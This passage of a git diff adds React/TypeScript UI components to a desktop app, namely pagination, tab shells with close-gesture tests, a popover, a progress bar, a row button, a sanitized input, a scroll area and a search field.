+        'inline-flex h-5 min-w-5 items-center justify-center rounded border border-transparent px-1 text-[0.6875rem] leading-none tabular-nums transition-colors disabled:pointer-events-none disabled:opacity-45',
+        isActive
+          ? 'border-border bg-background text-foreground shadow-xs'
+          : 'text-muted-foreground hover:bg-accent hover:text-foreground',
+        className
+      )}
+      data-active={isActive}
+      data-slot="pagination-button"
+      type="button"
+      {...props}
+    />
+  )
+}
+
+function PaginationPrevious({ className, ...props }: React.ComponentProps<'button'>) {
+  const { t } = useI18n()
+
+  return (
+    <button
+      aria-label={t.ui.pagination.previousAria}
+      className={cn(
+        'inline-flex h-5 items-center justify-center gap-0.5 rounded border border-transparent px-1 text-[0.6875rem] leading-none text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:pointer-events-none disabled:opacity-45',
+        className
+      )}
+      data-slot="pagination-previous"
+      type="button"
+      {...props}
+    >
+      <Codicon name="chevron-left" size="0.75rem" />
+      <span>{t.ui.pagination.previous}</span>
+    </button>
+  )
+}
+
+function PaginationNext({ className, ...props }: React.ComponentProps<'button'>) {
+  const { t } = useI18n()
+
+  return (
+    <button
+      aria-label={t.ui.pagination.nextAria}
+      className={cn(
+        'inline-flex h-5 items-center justify-center gap-0.5 rounded border border-transparent px-1 text-[0.6875rem] leading-none text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:pointer-events-none disabled:opacity-45',
+        className
+      )}
+      data-slot="pagination-next"
+      type="button"
+      {...props}
+    >
+      <span>{t.ui.pagination.next}</span>
+      <Codicon name="chevron-right" size="0.75rem" />
+    </button>
+  )
+}
+
+function PaginationEllipsis({ className, ...props }: React.ComponentProps<'span'>) {
+  return (
+    <span
+      aria-hidden
+      className={cn('flex size-5 items-center justify-center', className)}
+      data-slot="pagination-ellipsis"
+      {...props}
+    >
+      <Codicon name="ellipsis" size="0.75rem" />
+    </span>
+  )
+}
+
+export {
+  Pagination,
+  PaginationButton,
+  PaginationContent,
+  PaginationEllipsis,
+  PaginationItem,
+  PaginationNext,
+  PaginationPrevious
+}
diff --git a/ui-desktop/src/components/ui/pane-tab.test.tsx b/ui-desktop/src/components/ui/pane-tab.test.tsx
new file mode 100644
index 000000000..5b340a9fb
--- /dev/null
+++ b/ui-desktop/src/components/ui/pane-tab.test.tsx
@@ -0,0 +1,94 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { PaneTab, PaneTabLabel } from './pane-tab'
+
+afterEach(cleanup)
+
+describe('PaneTab close gestures', () => {
+  it('middle-click closes — pointer events only, no auxclick', () => {
+    const onClose = vi.fn()
+    render(
+      <PaneTab onClose={onClose}>
+        <PaneTabLabel>tab</PaneTabLabel>
+      </PaneTab>
+    )
+
+    const tab = screen.getByText('tab')
+    fireEvent.pointerDown(tab, { button: 1 })
+    fireEvent.pointerUp(tab, { button: 1 })
+    expect(onClose).toHaveBeenCalledTimes(1)
+  })
+
+  it('⌘-click (metaKey + button 0) closes — the Mac middle-click equivalent', () => {
+    const onClose = vi.fn()
+    render(
+      <PaneTab onClose={onClose}>
+        <PaneTabLabel>tab</PaneTabLabel>
+      </PaneTab>
+    )
+
+    fireEvent.pointerDown(screen.getByText('tab'), { button: 0, metaKey: true })
+    expect(onClose).toHaveBeenCalledTimes(1)
+  })
+
+  it('⌘-click preempts the shell drag/activate pointerdown handler', () => {
+    const onClose = vi.fn()
+    const onPointerDown = vi.fn()
+    render(
+      <PaneTab onClose={onClose} onPointerDown={onPointerDown}>
+        <PaneTabLabel>tab</PaneTabLabel>
+      </PaneTab>
+    )
+
+    fireEvent.pointerDown(screen.getByText('tab'), { button: 0, metaKey: true })
+    expect(onClose).toHaveBeenCalledTimes(1)
+    expect(onPointerDown).not.toHaveBeenCalled()
+  })
+
+  it('⌘-click swallows the follow-up activation click (capture phase)', () => {
+    const onClose = vi.fn()
+    const onActivate = vi.fn()
+    render(
+      <PaneTab onClose={onClose}>
+        <PaneTabLabel as="button" onClick={onActivate}>
+          tab
+        </PaneTabLabel>
+      </PaneTab>
+    )
+
+    fireEvent.click(screen.getByText('tab'), { button: 0, metaKey: true })
+    expect(onActivate).not.toHaveBeenCalled()
+  })
+
+  it('plain left-click neither closes nor blocks activation', () => {
+    const onClose = vi.fn()
+    const onActivate = vi.fn()
+    const onPointerDown = vi.fn()
+    render(
+      <PaneTab onClose={onClose} onPointerDown={onPointerDown}>
+        <PaneTabLabel as="button" onClick={onActivate}>
+          tab
+        </PaneTabLabel>
+      </PaneTab>
+    )
+
+    fireEvent.pointerDown(screen.getByText('tab'), { button: 0 })
+    fireEvent.click(screen.getByText('tab'), { button: 0 })
+    expect(onClose).not.toHaveBeenCalled()
+    expect(onPointerDown).toHaveBeenCalledTimes(1)
+    expect(onActivate).toHaveBeenCalledTimes(1)
+  })
+
+  it('does nothing without an onClose (uncloseable workspace tab)', () => {
+    const onPointerDown = vi.fn()
+    render(
+      <PaneTab onPointerDown={onPointerDown}>
+        <PaneTabLabel>tab</PaneTabLabel>
+      </PaneTab>
+    )
+
+    fireEvent.pointerDown(screen.getByText('tab'), { button: 0, metaKey: true })
+    expect(onPointerDown).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/ui-desktop/src/components/ui/pane-tab.tsx b/ui-desktop/src/components/ui/pane-tab.tsx
new file mode 100644
index 000000000..9234aebd5
--- /dev/null
+++ b/ui-desktop/src/components/ui/pane-tab.tsx
@@ -0,0 +1,329 @@
+import * as React from 'react'
+
+import { type MenuKit, renderActionItem } from '@/components/ui/actions-menu'
+import { Button } from '@/components/ui/button'
+import { Tip } from '@/components/ui/tooltip'
+import { translateNow } from '@/i18n'
+import { isMetaClose, middleClickHandlers } from '@/lib/middle-click'
+import { cn } from '@/lib/utils'
+
+/** Inset stroke for a vertical tab rail — content-facing edge. */
+export const PANE_TAB_STRIP_LINE_LEFT = 'shadow-[inset_1px_0_0_var(--ui-stroke-tertiary)]'
+export const PANE_TAB_STRIP_LINE_RIGHT = 'shadow-[inset_-1px_0_0_var(--ui-stroke-tertiary)]'
+
+const TAB =
+  'group/tab relative flex shrink-0 items-center border-transparent bg-(--tab-bg) text-[0.6875rem] font-medium [-webkit-app-region:no-drag]'
+
+// Full height: with the strip's rule removed there is no last-pixel row to
+// leave uncovered, so tabs fill the bar and no sliver of gutter shows through.
+const TAB_HORIZONTAL = 'h-full min-w-0 max-w-48 not-first:border-l not-first:border-l-(--ui-stroke-quaternary)'
+
+const TAB_VERTICAL =
+  'w-full max-h-48 justify-center not-first:border-t not-first:border-t-(--ui-stroke-quaternary) [writing-mode:vertical-rl]'
+
+const TAB_ACTIVE = 'h-full text-foreground [--tab-bg:var(--pane-tab-active-bg,var(--ui-editor-surface-background))]'
+
+// Horizontal only: the active tab is the sole seam on the strip — a
+// theme-primary underline drawn as an inset shadow in its own last pixel row,
+// so it costs no layout and can't shift the tab.
+const TAB_ACTIVE_UNDERLINE = 'shadow-[inset_0_-2px_0_var(--pane-tab-active-accent,var(--theme-primary))]'
+
+// Inactive = gutter, defaulting to the shared chrome surface so a strip that
+// sets no vars still matches the sidebar/titlebar instead of falling through to
+// the raw (unmixed) card seed. Hover DARKENS: surfaces this close in value need
+// a darkening wash to register at all.
+const TAB_IDLE =
+  'text-(--ui-text-tertiary) [--tab-bg:var(--pane-tab-strip-bg,var(--ui-sidebar-surface-background))] hover:shadow-[inset_0_0_0_100vmax_color-mix(in_srgb,#000_var(--ui-tab-hover-darken),transparent)] hover:text-(--ui-text-secondary)'
+
+// A tab riding a multi-tab selection: an accent wash over whatever surface the
+// tab sits on. A background-image gradient (not a shadow) so it stacks cleanly
+// over `--tab-bg` without fighting the active underline / hover shadows.
+const TAB_SELECTED =
+  '[background-image:linear-gradient(color-mix(in_srgb,var(--ui-accent)_14%,transparent),color-mix(in_srgb,var(--ui-accent)_14%,transparent))] text-foreground'
+
+interface PaneTabProps extends React.ComponentProps<'div'> {
+  active?: boolean
+  dirty?: boolean
+  /** Close gesture, no hover X (too easy to hit on small tabs): middle-click,
+   *  or ⌘-click as the trackpad-friendly Mac equivalent. */
+  onClose?: () => void
+  /** Part of a multi-tab selection (⌥/Ctrl-click, Shift-click) — an accent
+   *  wash marks every tab that a drag would carry, Chrome-style. */
+  selected?: boolean
+  /** Vertical rail form (collapsed sidebar zones). */
+  vertical?: boolean
+  /** Content-facing edge of a vertical rail — the strip line the active tab cuts. */
+  side?: 'left' | 'right'
+}
+
+/**
+ * Editor tab shell — preview rail + zone headers + collapsed vertical rails.
+ *
+ * Defaults need no vars: the active tab takes the editor surface, inactive the
+ * sidebar one. Override `--pane-tab-active-bg` to change what the active tab
+ * merges into, `--pane-tab-strip-bg` for a gutter unlike the bar around it.
+ */
+export const PaneTab = React.forwardRef<HTMLDivElement, PaneTabProps>(function PaneTab(
+  {
+    active = false,
+    dirty = false,
+    onClose,
+    onMouseDown,
+    onPointerDown,
+    onPointerUp,
+    onClickCapture,
+    selected = false,
+    vertical = false,
+    side = 'left',
+    children,
+    className,
+    ...props
+  },
+  ref
+) {
+  // Vertical rails only. Horizontal tabs draw no bottom border — the strip owns
+  // that rule, and a per-tab border stacked a second translucent line over it.
+  const edge = vertical ? (side === 'right' ? 'border-l' : 'border-r') : undefined
+  const middle = middleClickHandlers(onClose)
+
+  return (
+    <div
+      className={cn(
+        TAB,
+        vertical ? TAB_VERTICAL : TAB_HORIZONTAL,
+        edge,
+        active
+          ? cn(TAB_ACTIVE, !vertical && TAB_ACTIVE_UNDERLINE)
+          : cn(TAB_IDLE, edge && `${edge}-(--ui-stroke-tertiary)`),
+        selected && TAB_SELECTED,
+        className
+      )}
+      data-active={active}
+      data-selected={selected || undefined}
+      data-vertical={vertical || undefined}
+      onClickCapture={event => {
+        // Sites whose tab activates on the label's own onClick (the preview
+        // rail) fire it AFTER our pointerdown close — swallow that stray click
+        // in the capture phase so it can't re-select the just-closed tab.
+        if (onClose && isMetaClose(event)) {
+          event.preventDefault()
+          event.stopPropagation()
+        }
+
+        onClickCapture?.(event)
+      }}
+      onMouseDown={event => {
+        middle.onMouseDown(event)
+        onMouseDown?.(event)
+      }}
+      onPointerDown={event => {
+        middle.onPointerDown(event)
+
+        // ⌘-click closes. Preempt here — the tab strips activate/drag on
+        // pointerdown (drag-session onTap), so we must claim the press before
+        // the shell's own handler starts a drag, and skip it entirely.
+        if (onClose && isMetaClose(event)) {
+          event.preventDefault()
+          event.stopPropagation()
+          onClose()
+
+          return
+        }
+
+        onPointerDown?.(event)
+      }}
+      onPointerUp={event => {
+        middle.onPointerUp(event)
+        onPointerUp?.(event)
+      }}
+      ref={ref}
+      {...props}
+    >
+      {children}
+      {dirty && (
+        <span
+          aria-hidden
+          className={cn(
+            'pointer-events-none absolute grid size-4 place-items-center',
+            vertical ? 'bottom-1.5 left-1/2 -translate-x-1/2' : 'right-1.5 top-1/2 -translate-y-1/2'
+          )}
+        >
+          <span className="size-2 rounded-full bg-amber-500 shadow-[0_0_0_2px_var(--tab-bg),0_1px_2px_rgba(0,0,0,0.45)] dark:bg-amber-400" />
+        </span>
+      )}
+    </div>
+  )
+})
+
+interface PaneTabLabelProps extends React.ComponentProps<'button'> {
+  /** `button` when the label is the activation target (preview rail);
+   *  default `span` defers to the shell (zone drag/activate). */
+  as?: 'button' | 'span'
+}
+
+/** Truncating label inside a `PaneTab`. `className` merges into the text span
+ *  (e.g. `normal-case tracking-normal` for filenames). */
+export const PaneTabLabel = React.forwardRef<HTMLElement, PaneTabLabelProps>(function PaneTabLabel(
+  { as = 'span', className, children, ...props },
+  ref
+) {
+  const Comp = as as React.ElementType
+
+  return (
+    <Comp
+      className="flex h-full min-w-0 max-w-full items-center overflow-hidden px-2 text-left outline-none group-data-[vertical]/tab:h-auto group-data-[vertical]/tab:w-full group-data-[vertical]/tab:justify-center group-data-[vertical]/tab:py-2"
+      ref={ref}
+      {...props}
+    >
+      <span className={cn('block min-w-0 truncate text-[9px] font-medium tracking-wide uppercase', className)}>
+        {children}
+      </span>
+    </Comp>
+  )
+})
+
+interface PaneTabStripProps extends React.ComponentProps<'div'> {
+  /** The scrolling tab list — receives `role="tablist"`. */
+  children: React.ReactNode
+  /** Ref on the scroller itself, for `useActiveTabVisible`. */
+  listRef?: React.Ref<HTMLDivElement>
+  /** Non-scrolling trailing chrome pinned to the right (the minimize chevron). */
+  trailing?: React.ReactNode
+}
+
+/**
+ * The horizontal tab bar every strip in the app sits in. Owns the bar's height
+ * and surface, the scroll behaviour (hidden scrollbars, contained overscroll),
+ * and the pinned trailing slot — so a new strip inherits all of it instead of
+ * re-deriving the geometry and drifting out of alignment.
+ *
+ * Tabs go in `children` as `PaneTab`s; per-strip extras (drag handlers,
+ * `data-zone-tabstrip`, drop carets) ride on the usual div props.
+ */
+export const PaneTabStrip = React.forwardRef<HTMLDivElement, PaneTabStripProps>(function PaneTabStrip(
+  { children, className, listRef, trailing, ...props },
+  ref
+) {
+  return (
+    <div
+      // Strip and active tab both sit on the sidebar surface, so the bar reads
+      // as one piece of chrome with the titlebar above it. No bottom rule — the
+      // active tab's primary underline is the only seam.
+      className={cn(
+        'group/pane-header relative flex h-7 shrink-0 select-none bg-(--ui-sidebar-surface-background) [-webkit-app-region:no-drag] [--pane-tab-active-bg:var(--ui-sidebar-surface-background)]',
+        className
+      )}
+      ref={ref}
+      {...props}
+    >
+      <div
+        className="flex min-w-0 flex-1 overflow-x-auto overflow-y-hidden overscroll-x-contain [-ms-overflow-style:none] [scrollbar-width:none] [&::-webkit-scrollbar]:hidden"
+        ref={listRef}
+        role="tablist"
+      >
+        {children}
+      </div>
+      {trailing}
+    </div>
+  )
+})
+
+/** A glyph button on a tab strip: the "+" and anything a pane contributes (a
+ *  preview's console / DevTools). Callers pass DATA, never classes — the same
+ *  contract as `TitlebarTool`, so every glyph on every strip matches. */
+export interface PaneStripTool {
+  active?: boolean
+  disabled?: boolean
+  icon: React.ReactNode
+  id: string
+  /** Tooltip text and accessible name. */
+  label: string
+  onSelect: () => void
+}
+
+/**
+ * Renders one `PaneStripTool` through the app's `Button` + `Tip` primitives, the
+ * way `TitlebarToolButton` does: ghost variant, no active background — state
+ * reads from the glyph's own opacity, with `aria-pressed` carrying it for a11y.
+ *
+ * Pointerdown is claimed here so a click can never also activate or drag the
+ * zone behind the strip.
+ */
+export function PaneStripGlyph({ active, disabled, icon, label, onSelect }: Omit<PaneStripTool, 'id'>) {
+  return (
+    <Tip label={label}>
+      <Button
+        aria-label={label}
+        aria-pressed={active ?? undefined}
+        className={cn(
+          'self-center bg-transparent select-none',
+          active ? 'opacity-100' : 'opacity-60 hover:opacity-100'
+        )}
+        disabled={disabled}
+        onClick={onSelect}
+        onPointerDown={event => event.stopPropagation()}
+        size="icon-xs"
+        type="button"
+        variant="ghost"
+      >
+        {icon}
+      </Button>
+    </Tip>
+  )
+}
+
+/** Close-verb enablement for `paneTabCloseItems` — how many tabs each verb hits. */
+export interface PaneTabCloseCounts {
+  all: number
+  others: number
+  right: number
+}
+
+interface PaneTabCloseItemsOptions {
+  counts: PaneTabCloseCounts
+  /** Omit to hide Close entirely (an uncloseable tab shows no dead action). */
+  onClose?: () => void
+  onCloseAll: () => void
+  onCloseOthers: () => void
+  onCloseToRight: () => void
+}
+
+/**
+ * The four close verbs every tab menu offers — Close / others / to the right /
+ * all — so a tab answers a right-click the same way wherever it lives. No ⌘W
+ * hint on Close: the keybind closes the FOCUSED zone's active tab, so it would
+ * be a lie on the inactive tab the user actually right-clicked.
+ */
+export function paneTabCloseItems(
+  kit: MenuKit,
+  { counts, onClose, onCloseAll, onCloseOthers, onCloseToRight }: PaneTabCloseItemsOptions
+) {
+  return (
+    <>
+      {onClose &&
+        renderActionItem(kit, {
+          icon: 'close',
+          label: translateNow('common.close'),
+          onSelect: onClose
+        })}
+      {renderActionItem(kit, {
+        disabled: !counts.others,
+        icon: 'close-all',
+        label: translateNow('zones.closeOthers'),
+        onSelect: onCloseOthers
+      })}
+      {renderActionItem(kit, {
+        disabled: !counts.right,
+        icon: 'arrow-right',
+        label: translateNow('zones.closeToRight'),
+        onSelect: onCloseToRight
+      })}
+      {renderActionItem(kit, {
+        disabled: !counts.all,
+        icon: 'clear-all',
+        label: translateNow('zones.closeAll'),
+        onSelect: onCloseAll
+      })}
+    </>
+  )
+}
diff --git a/ui-desktop/src/components/ui/popover.tsx b/ui-desktop/src/components/ui/popover.tsx
new file mode 100644
index 000000000..16fa23f7a
--- /dev/null
+++ b/ui-desktop/src/components/ui/popover.tsx
@@ -0,0 +1,67 @@
+import { Popover as PopoverPrimitive } from 'radix-ui'
+import * as React from 'react'
+
+import { usePopoverPortalContainer } from '@/components/ui/dialog-portal-context'
+import { cn } from '@/lib/utils'
+
+function Popover({ ...props }: React.ComponentProps<typeof PopoverPrimitive.Root>) {
+  return <PopoverPrimitive.Root data-slot="popover" {...props} />
+}
+
+function PopoverTrigger({ ...props }: React.ComponentProps<typeof PopoverPrimitive.Trigger>) {
+  return <PopoverPrimitive.Trigger data-slot="popover-trigger" {...props} />
+}
+
+function PopoverAnchor({ ...props }: React.ComponentProps<typeof PopoverPrimitive.Anchor>) {
+  return <PopoverPrimitive.Anchor data-slot="popover-anchor" {...props} />
+}
+
+function PopoverContent({
+  align = 'center',
+  // Keeps the arrow clear of the rounded corners (rounded-lg = 8px): Radix
+  // clamps the arrow this far from each edge and shifts the popover to
+  // compensate, so the arrow never jams into a corner on start/end alignment.
+  arrowPadding = 12,
+  children,
+  className,
+  collisionPadding = 8,
+  sideOffset = 6,
+  ...props
+}: React.ComponentProps<typeof PopoverPrimitive.Content>) {
+  // Portal into the enclosing dialog when nested in one (keeps focus inside so
+  // the dialog doesn't close on dismiss); document.body otherwise.
+  const container = usePopoverPortalContainer()
+
+  return (
+    <PopoverPrimitive.Portal container={container}>
+      <PopoverPrimitive.Content
+        align={align}
+        arrowPadding={arrowPadding}
+        // Themed glass surface, viewport-aware (Radix flips/shifts off edges),
+        // standard open/close motion. Border-only (no shadow).
+        className={cn(
+          'z-50 w-72 origin-(--radix-popover-content-transform-origin) rounded-lg border border-(--ui-stroke-secondary) bg-[var(--popover-surface)] p-2 text-popover-foreground backdrop-blur-md outline-hidden data-[side=bottom]:slide-in-from-top-1 data-[side=left]:slide-in-from-right-1 data-[side=right]:slide-in-from-left-1 data-[side=top]:slide-in-from-bottom-1 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[state=open]:animate-in data-[state=open]:fade-in-0 data-[state=open]:zoom-in-95 [--popover-surface:color-mix(in_srgb,var(--ui-bg-elevated)_92%,transparent)]',
+          className
+        )}
+        collisionPadding={collisionPadding}
+        data-slot="popover-content"
+        sideOffset={sideOffset}
+        {...props}
+      >
+        {children}
+        {/* CSS arrow that truly inherits the surface: a rotated square sharing the
+            body's exact bg + backdrop-blur (so it matches even through glass), with
+            the border on its two outer edges only. Radix authors the child pointing
+            "down" and rotates the wrapper per side, so the V always faces outward.
+            The square's inner half tucks under the body, opening the border seam. */}
+        <PopoverPrimitive.Arrow asChild height={7} width={16}>
+          <span className="relative block h-[7px] w-4 overflow-visible">
+            <span className="absolute top-0 left-1/2 size-[11px] -translate-x-1/2 -translate-y-1/2 rotate-45 border-r border-b border-(--ui-stroke-secondary) bg-[var(--popover-surface)] backdrop-blur-md" />
+          </span>
+        </PopoverPrimitive.Arrow>
+      </PopoverPrimitive.Content>
+    </PopoverPrimitive.Portal>
+  )
+}
+
+export { Popover, PopoverAnchor, PopoverContent, PopoverTrigger }
diff --git a/ui-desktop/src/components/ui/progress.tsx b/ui-desktop/src/components/ui/progress.tsx
new file mode 100644
index 000000000..dee39646d
--- /dev/null
+++ b/ui-desktop/src/components/ui/progress.tsx
@@ -0,0 +1,82 @@
+import * as React from 'react'
+
+import { cn } from '@/lib/utils'
+
+const TRACK_HEIGHT = {
+  sm: 'h-1',
+  default: 'h-1.5',
+  lg: 'h-2'
+} as const
+
+export interface ProgressProps extends Omit<React.ComponentProps<'div'>, 'children'> {
+  /** Completion as a 0–1 fraction; clamped. Ignored when `indeterminate`. */
+  value?: number
+  /** No known endpoint — animate instead of showing a fixed width. */
+  indeterminate?: boolean
+  /**
+   * Use the continuous sliding animation for the indeterminate state (the pet
+   * hatch look) instead of the default pulse. No effect when determinate.
+   */
+  animated?: boolean
+  /** Swap the fill to the destructive color for error / over-limit states. */
+  destructive?: boolean
+  size?: keyof typeof TRACK_HEIGHT
+  /** Override the fill color/shape (e.g. billing's tone mapping, pet's accent). */
+  fillClassName?: string
+  fillStyle?: React.CSSProperties
+  /** Extra content inside the track, behind the fill (e.g. a threshold marker). */
+  children?: React.ReactNode
+}
+
+/**
+ * The app's one progress/meter bar: a rounded track with an animated fill. The
+ * track owns `role="progressbar"` and its aria values; the fill is width-driven
+ * (determinate) or animated (indeterminate). Consumers needing a bespoke look —
+ * billing's hatched empty state, tone-mapped or accent fills — override
+ * `className` (track) and `fillClassName` while inheriting the structure,
+ * sizing, and accessibility.
+ */
+export function Progress({
+  value = 0,
+  indeterminate = false,
+  animated = false,
+  destructive = false,
+  size = 'default',
+  className,
+  fillClassName,
+  fillStyle,
+  children,
+  ...props
+}: ProgressProps) {
+  const pct = Math.round(Math.min(1, Math.max(0, value)) * 100)
+  const fillColor = destructive ? 'bg-destructive' : 'bg-primary'
+
+  return (
+    <div
+      aria-valuemax={100}
+      aria-valuemin={0}
+      aria-valuenow={indeterminate ? undefined : pct}
+      className={cn('relative w-full overflow-hidden rounded-full bg-muted', TRACK_HEIGHT[size], className)}
+      data-slot="progress"
+      role="progressbar"
+      {...props}
+    >
+      {children}
+      {indeterminate && animated ? (
+        // Sliding block — width/animation come from `.progress-slide` (styles.css),
+        // which also honors prefers-reduced-motion.
+        <div className={cn('progress-slide absolute inset-y-0 rounded-full', fillColor, fillClassName)} />
+      ) : (
+        <div
+          className={cn(
+            'relative h-full rounded-full transition-[width] duration-300 ease-out',
+            fillColor,
+            indeterminate && 'w-1/3 animate-pulse',
+            fillClassName
+          )}
+          style={indeterminate ? fillStyle : { width: `${pct}%`, ...fillStyle }}
+        />
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/ui/row-button.test.tsx b/ui-desktop/src/components/ui/row-button.test.tsx
new file mode 100644
index 000000000..ad9c8cf78
--- /dev/null
+++ b/ui-desktop/src/components/ui/row-button.test.tsx
@@ -0,0 +1,39 @@
+import { cleanup, render } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { RowButton } from './row-button'
+
+afterEach(cleanup)
+
+describe('RowButton', () => {
+  it('renders a real <button> with type=button and the row-button slot', () => {
+    const { getByText } = render(<RowButton>Row</RowButton>)
+    const el = getByText('Row')
+
+    expect(el.tagName).toBe('BUTTON')
+    expect(el.getAttribute('type')).toBe('button')
+    expect(el.getAttribute('data-slot')).toBe('row-button')
+  })
+
+  it('imposes no styling of its own — only the caller class is applied', () => {
+    const onClick = vi.fn()
+
+    const { getByText } = render(
+      <RowButton className="custom-row" onClick={onClick}>
+        Hit
+      </RowButton>
+    )
+
+    const el = getByText('Hit')
+
+    expect(el.className).toBe('custom-row')
+    el.click()
+    expect(onClick).toHaveBeenCalledTimes(1)
+  })
+
+  it('allows the native button type to be overridden', () => {
+    const { getByText } = render(<RowButton type="submit">Go</RowButton>)
+
+    expect(getByText('Go').getAttribute('type')).toBe('submit')
+  })
+})
diff --git a/ui-desktop/src/components/ui/row-button.tsx b/ui-desktop/src/components/ui/row-button.tsx
new file mode 100644
index 000000000..41799f7be
--- /dev/null
+++ b/ui-desktop/src/components/ui/row-button.tsx
@@ -0,0 +1,13 @@
+import * as React from 'react'
+
+/**
+ * A full-row / region click target rendered as a real `<button>`: bakes in
+ * `type="button"` + a stable `data-slot`, imposes no styling (callers keep their
+ * own layout classes, so nothing changes visually). Use for row/region targets;
+ * use `Button` for ordinary compact actions.
+ */
+function RowButton({ className, type = 'button', ...props }: React.ComponentProps<'button'>) {
+  return <button className={className} data-slot="row-button" type={type} {...props} />
+}
+
+export { RowButton }
diff --git a/ui-desktop/src/components/ui/sanitized-input.tsx b/ui-desktop/src/components/ui/sanitized-input.tsx
new file mode 100644
index 000000000..85b6c8a02
--- /dev/null
+++ b/ui-desktop/src/components/ui/sanitized-input.tsx
@@ -0,0 +1,17 @@
+import type * as React from 'react'
+
+import { Input } from './input'
+
+interface SanitizedInputProps extends Omit<React.ComponentProps<typeof Input>, 'onChange' | 'value'> {
+  value: string
+  onValueChange: (value: string) => void
+  // A formatter from `@/lib/sanitize` (gitRef, slug, …) run on every keystroke.
+  sanitize: (raw: string) => string
+}
+
+// An <Input> that can only ever hold a valid value: every keystroke is run
+// through `sanitize`, so callers never have to validate-then-reject (a space in
+// a branch name becomes "-" as you type instead of erroring at submit).
+export function SanitizedInput({ value, onValueChange, sanitize, ...props }: SanitizedInputProps) {
+  return <Input {...props} onChange={event => onValueChange(sanitize(event.target.value))} value={value} />
+}
diff --git a/ui-desktop/src/components/ui/scroll-area.tsx b/ui-desktop/src/components/ui/scroll-area.tsx
new file mode 100644
index 000000000..58b9ff0ea
--- /dev/null
+++ b/ui-desktop/src/components/ui/scroll-area.tsx
@@ -0,0 +1,43 @@
+import { ScrollArea as ScrollAreaPrimitive } from 'radix-ui'
+import * as React from 'react'
+
+import { cn } from '@/lib/utils'
+
+function ScrollArea({ className, children, ...props }: React.ComponentProps<typeof ScrollAreaPrimitive.Root>) {
+  return (
+    <ScrollAreaPrimitive.Root className={cn('relative overflow-hidden', className)} data-slot="scroll-area" {...props}>
+      <ScrollAreaPrimitive.Viewport className="size-full outline-none" data-slot="scroll-area-viewport">
+        {children}
+      </ScrollAreaPrimitive.Viewport>
+      <ScrollBar />
+      <ScrollAreaPrimitive.Corner />
+    </ScrollAreaPrimitive.Root>
+  )
+}
+
+function ScrollBar({
+  className,
+  orientation = 'vertical',
+  ...props
+}: React.ComponentProps<typeof ScrollAreaPrimitive.ScrollAreaScrollbar>) {
+  return (
+    <ScrollAreaPrimitive.ScrollAreaScrollbar
+      className={cn(
+        'flex touch-none select-none p-px transition-colors',
+        orientation === 'vertical' && 'h-full w-2.5 border-l border-l-transparent',
+        orientation === 'horizontal' && 'h-2.5 flex-col border-t border-t-transparent',
+        className
+      )}
+      data-slot="scroll-area-scrollbar"
+      orientation={orientation}
+      {...props}
+    >
+      <ScrollAreaPrimitive.ScrollAreaThumb
+        className="relative flex-1 rounded-full bg-muted-foreground/30 hover:bg-muted-foreground/45"
+        data-slot="scroll-area-thumb"
+      />
+    </ScrollAreaPrimitive.ScrollAreaScrollbar>
+  )
+}
+
+export { ScrollArea, ScrollBar }
diff --git a/ui-desktop/src/components/ui/search-field.tsx b/ui-desktop/src/components/ui/search-field.tsx
new file mode 100644
index 000000000..a2c02d38a
--- /dev/null
+++ b/ui-desktop/src/components/ui/search-field.tsx
@@ -0,0 +1,104 @@
+import { type ReactNode, type RefObject, useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { Loader2, Search } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+interface SearchFieldProps {
+  placeholder: string
+  value: string
+  onChange: (value: string) => void
+  /**
+   * Data-driven placeholder suggestions ("Try \u201ccreative\u201d") — one is picked at
+   * random per mount, the nudge that search understands more than names.
+   * Falls back to `placeholder` when absent/empty.
+   */
+  hints?: string[]
+  containerClassName?: string
+  inputClassName?: string
+  loading?: boolean
+  onClear?: () => void
+  inputRef?: RefObject<HTMLInputElement | null>
+  trailingAction?: ReactNode
+  'aria-label'?: string
+}
+
+/**
+ * Shared search field used everywhere (sessions sidebar, pages, overlays,
+ * command center, cron). No box — borderless until focus, then an underline.
+ * Rests at low opacity until focused or filled. Width/placement come from
+ * `containerClassName`.
+ */
+export function SearchField({
+  placeholder,
+  value,
+  onChange,
+  hints,
+  containerClassName,
+  inputClassName,
+  loading = false,
+  onClear,
+  inputRef,
+  trailingAction,
+  'aria-label': ariaLabel
+}: SearchFieldProps) {
+  const { t } = useI18n()
+  const clear = onClear ?? (() => onChange(''))
+
+  // One hint per mount, picked at random — fresh nudge every visit, no
+  // mid-page carousel.
+  const [hintIndex] = useState(() => Math.floor(Math.random() * 4096))
+  const hintCount = hints?.length ?? 0
+  const effectivePlaceholder = hintCount > 0 ? hints![hintIndex % hintCount] : placeholder
+
+  return (
+    <div
+      className={cn(
+        // min-w-0 is load-bearing: without it the content-sized input sets the
+        // container's flex min-width and the field bulldozes its siblings
+        // instead of shrinking to fit its context.
+        'inline-flex min-w-0 max-w-full items-center gap-1.5 border-b border-transparent px-0.5 transition-[color,border-color,opacity]',
+        // Recede until the user reaches for it.
+        !value && 'opacity-30 focus-within:opacity-100',
+        containerClassName
+      )}
+    >
+      <Search className="pointer-events-none size-3.5 shrink-0 text-muted-foreground/70" />
+      <input
+        aria-label={ariaLabel ?? placeholder}
+        className={cn(
+          // `field-sizing: content` grows the input to fit the placeholder/typed
+          // text; min-w-0 lets it shrink back below content size when the
+          // context is narrower — long queries scroll inside the field.
+          // text-xs matches the form controls (Input/Select via controlVariants).
+          'h-7 min-w-0 max-w-full bg-transparent text-xs text-foreground [field-sizing:content] placeholder:text-muted-foreground focus:outline-none',
+          inputClassName
+        )}
+        onChange={event => onChange(event.target.value)}
+        placeholder={effectivePlaceholder}
+        ref={inputRef}
+        type="text"
+        value={value}
+      />
+      {trailingAction}
+      {loading ? (
+        <Loader2 className="pointer-events-none size-3.5 shrink-0 animate-spin text-muted-foreground/70" />
+      ) : value ? (
+        <Tip label={t.ui.search.clear}>
+          <Button
